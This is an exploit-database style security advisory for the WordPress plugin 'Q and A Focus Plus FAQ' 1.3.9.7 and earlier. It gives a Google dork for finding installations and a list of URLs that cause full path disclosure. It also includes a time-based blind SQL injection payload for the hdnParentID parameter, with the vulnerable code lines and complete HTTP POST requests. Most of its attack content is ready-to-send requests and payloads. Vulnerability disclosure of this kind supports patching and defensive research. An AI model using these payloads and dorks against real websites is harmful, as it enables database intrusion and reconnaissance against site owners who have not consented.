WordPress Plugin Q and A (Focus Plus) FAQ 1.3.9.7 – Multiple Vulnerabilities
# Exploit Title: WordPress Q and A (Focus Plus) FAQ Full Path Disclosure and SQL Injection # Google Dork: inurl:"wp-content/plugins/q-and-a" # Date: 12-05-2016 # Software Link: https://wordpress.org/plugins/q-and-a-focus-plus-faq/ # Version: 1.3.9.7 and prior # Exploit Author: Gwendal Le Coguic # Website: http://10degres.net # Category: webapps Create a powerful and easy to use FAQ & knowledge base on your WordPress site. A powerful and easy to use full-featured FAQ with comments, tags and ratings for your WordPress site. The plugin was originally named "Q and A FAQ" and developped by Raygun company then it has been involved and renamed to "Q and A Focus Plus FAQ" by Lanexatek Creations. ##### Full Path Disclosure ##### http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/q-and-a-focus-plus.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/admin/q-a-focus-plus-admin.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/admin/documentation.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/custom-post.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/functions.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/ratings.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/reorder.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/shortcodes.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/upgrader.php http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/widgets.php ##### SQL Injection ##### Those vulnerabilities are mitigated by the fact that you have to be connected as an admin to exploit them. Paramater hdnParentID is vulnerable in two places. Payload: 0 AND (SELECT * FROM (SELECT(SLEEP(5)))zeCb) 1/ line 46: $parentsParent = $wpdb->get_row("SELECT post_parent FROM $wpdb->posts WHERE ID = " . $_POST['hdnParentID']... POST /wp-admin/edit.php?post_type=qa_faqs&page=faqpageorder HTTP/1.1 Host: [target] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 165 btnOrderPages=Click+to+Reorder+FAQs&hdnfaqpageorder=id_8%2Cid_6%2Cid_5&btnReturnParent=Return+to+parent+page&hdnParentID=0 2/ line 254: $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE post_parent = $parentID and ... POST /wp-admin/edit.php?post_type=qa_faqs&page=faqpageorder HTTP/1.1 Host: [target] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 84 btnOrderPages=Click+to+Reorder+FAQs&hdnfaqpageorder=id_8%2Cid_6%2Cid_5&hdnParentID=0 ##### References ##### https://www.owasp.org/index.php/Full_Path_Disclosure https://www.owasp.org/index.php/SQL_Injection |